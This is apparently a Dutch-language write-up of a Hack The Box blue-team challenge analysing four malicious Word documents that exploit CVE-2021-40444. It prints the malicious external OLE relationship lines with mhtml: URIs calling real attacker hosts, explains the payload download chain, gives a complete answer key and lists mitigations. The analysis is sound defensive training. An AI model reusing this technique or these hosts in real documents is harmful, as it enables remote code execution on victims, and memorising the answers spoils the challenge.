Hack The Box Sherlock – MSHTML
Moeilijkheidsgraad: Hard
Released: 7 juli 2026
Gemaakt door: letsdefendio / @Bohan Zhang
Categorie: Blue Team / Malware Analysis / DFIR
Deze write-up is geschreven door inqwert
Officiële scenario-omschrijving (Hack The Box)
2021’s 0-Day MSHTML
This challenge prepared by @Bohan Zhang
Malware samples: MalwareBazaar
Kort samengevat: we krijgen vier kwaadaardige Microsoft Office-documenten die de beruchte MSHTML (Trident) 0-day uit 2021 misbruiken. Ons doel is om de malafide IP-adressen en domeinen te extraheren die in de documenten zijn verstopt, en het bijbehorende CVE-nummer te identificeren.
Bestanden in de download
| Bestand | Type | Opmerking |
|---|---|---|
Employees_Contact_Audit_Oct_2021.docx | DOCX (OOXML) | Bevat externe OLE-object relationship |
Employee_W2_Form.docx | DOCX (OOXML) | Bevat externe OLE-object relationship |
Work_From_Home_Survey.doc | DOCX vermomd als .doc | HTML-entity obfuscation |
income_tax_and_benefit_return_2021.docx | DOCX (OOXML) | Bevat externe OLE-object relationship |
Voorbereiding – bestanden uitpakken
Waarom eerst dit?
De download bevat een geneste zip met een waarschuwing. Altijd eerst de structuur bekijken.
mkdir -p /home/workdir/artifacts/mshtml
unzip -o -P hacktheblue /home/workdir/attachments/MSHTML.zip -d /home/workdir/artifacts/mshtml/
cat /home/workdir/artifacts/mshtml/danger.txt
# Password voor danger.zip staat in danger.txt: &PD8LhraU1hx
unzip -o -P '&PD8LhraU1hx' /home/workdir/artifacts/mshtml/danger.zip -d /home/workdir/artifacts/mshtml/
ls -la /home/workdir/artifacts/mshtml/
Belangrijk: Deze bestanden zijn echte malware-samples. Analyseer ze alleen in een geïsoleerde omgeving (VM of Pwnbox).
Task 1 – Malicious IP in Employees_Contact_Audit_Oct_2021.docx
Denkproces:
DOCX-bestanden zijn ZIP-archieven. De externe links (OLE-objecten) staan bijna altijd in word/_rels/document.xml.rels. Daar zoeken we naar TargetMode="External" en mhtml: URIs.
cd /home/workdir/artifacts/mshtml
unzip -p Employees_Contact_Audit_Oct_2021.docx word/_rels/document.xml.rels
Relevante regel:
<Relationship Id="rId5" Type=".../oleObject"
Target="mhtml:http://175.24.190.249/note.html!x-usc:http://175.24.190.249/note.html"
TargetMode="External"/>
| Task | Antwoord |
|---|---|
| 1 | 175.24.190.249 |
Task 2 – Malicious domain in Employee_W2_Form.docx
Denkproces:
Zelfde aanpak als Task 1. We openen weer het document.xml.rels-bestand.
unzip -p Employee_W2_Form.docx word/_rels/document.xml.rels
Relevante regel:
Target="mhtml:arsenal.30cm.tw:1212/word.html!x-usc:arsenal.30cm.tw:1212/word.html"
| Task | Antwoord |
|---|---|
| 2 | arsenal.30cm.tw |
Task 3 – Malicious domain in Work_From_Home_Survey.doc
Denkproces:
Dit bestand heeft de extensie .doc, maar is eigenlijk een OOXML-bestand (DOCX). Bovendien is de malicious URL geobfusceerd met HTML-entities (mh...).
# Eerst controleren of het een ZIP is
unzip -l Work_From_Home_Survey.doc | head
# Relationships ophalen
unzip -p Work_From_Home_Survey.doc word/_rels/document.xml.rels
De Target-waarde is HTML-encoded. We decoderen die:
python3 -c '
import html
s = "mhtml:http://trendparlye.com/wiki0509.html!x-usc:http://trendparlye.com/wiki0509.html"
print(html.unescape(s))
'
Resultaat:
mhtml:http://trendparlye.com/wiki0509.html!x-usc:http://trendparlye.com/wiki0509.html
| Task | Antwoord |
|---|---|
| 3 | trendparlye.com |
Task 4 – Malicious domain in income_tax_and_benefit_return_2021.docx
Denkproces:
Weer dezelfde methode: document.xml.rels openen.
unzip -p income_tax_and_benefit_return_2021.docx word/_rels/document.xml.rels
Relevante regel:
Target="mhtml:http://hidusi.com/e8c76295a5f9acb7/side.html!x-usc:http://hidusi.com/e8c76295a5f9acb7/side.html"
| Task | Antwoord |
|---|---|
| 4 | hidusi.com |
Task 5 – CVE-nummer
Denkproces:
Alle vier de documenten gebruiken dezelfde techniek: een externe OLE-object relationship met een mhtml: URI. Dit is het klassieke exploit-pad van de MSHTML (Trident) 0-day uit september 2021.
De kwetsbaarheid staat bekend als:
CVE-2021-40444 – Microsoft MSHTML Remote Code Execution Vulnerability
Deze CVE werd actief geëxploiteerd in het wild voordat er een patch beschikbaar was. Aanvallers plaatsten een malicious ActiveX-control in een Office-document dat via MSHTML remote HTML/JavaScript laadde en uiteindelijk een payload uitvoerde.
| Task | Antwoord |
|---|---|
| 5 | CVE-2021-40444 |
Complete antwoordenoverzicht
| Task | Vraag | Antwoord |
|---|---|---|
| 1 | Malicious IP in Employees_Contact_Audit_Oct_2021.docx | 175.24.190.249 |
| 2 | Malicious domain in Employee_W2_Form.docx | arsenal.30cm.tw |
| 3 | Malicious domain in Work_From_Home_Survey.doc | trendparlye.com |
| 4 | Malicious domain in income_tax_and_benefit_return_2021.docx | hidusi.com |
| 5 | CVE-nummer | CVE-2021-40444 |
Hoe werkt de aanval technisch?
De kern van de exploit zit in het OLE-object met TargetMode="External" en een mhtml: URI:
- Office opent het document en ziet een externe relationship.
- Windows gebruikt de legacy MSHTML (Trident) engine om de remote HTML te renderen.
- Via een ActiveX-control of JavaScript in die HTML wordt een payload (meestal een CAB of DLL) gedownload en uitgevoerd.
- Dit gebeurt vaak zonder dat de gebruiker macro’s hoeft in te schakelen – alleen het openen van het document is genoeg (afhankelijk van de patch-status en Protected View).
Blue Team lessen & mitigaties
| Maatregel | Waarom effectief | Hoe implementeren |
|---|---|---|
| Office Protected View + Mark of the Web | Blokkeert automatische uitvoering van externe content | GPO: “Open Office documents in Protected View” |
| Attack Surface Reduction (ASR) rules | Blokkeert Office → child process en Office → executable content | Enable “Block Office applications from creating executable content” |
| Disable MSHTML / Internet Explorer components | Verwijdert de kwetsbare engine | Via Windows Features of AppLocker/WDAC |
| Network filtering op mhtml: en verdachte domains | Voorkomt de callback naar de C2 | Proxy / DNS / EDR network rules |
| YARA / Sigma rules op document.xml.rels | Detecteert de externe OLE + mhtml pattern | Scan op TargetMode="External" + mhtml: |
| Patch management | CVE-2021-40444 is al lang gepatched | Zorg dat September 2021 (en latere) patches geïnstalleerd zijn |
Verder lezen op hackerscollectief.nl/
- HTB Sherlock: Brutus – Complete Nederlandse Write-up
- HTB Sherlock: LogJammer – Complete Nederlandse Write-up
- HTB Sherlocks: forensisch en blue team leren in het Nederlands
MSHTML is een uitstekende Hard Sherlock om te leren hoe moderne document-based malware werkt en hoe je de indicators snel uit OOXML-bestanden haalt. De techniek (externe OLE + mhtml:) is nog steeds relevant voor blue teamers die phishing-campagnes analyseren.
Write-up door inqwert – Kennis zonder ruis.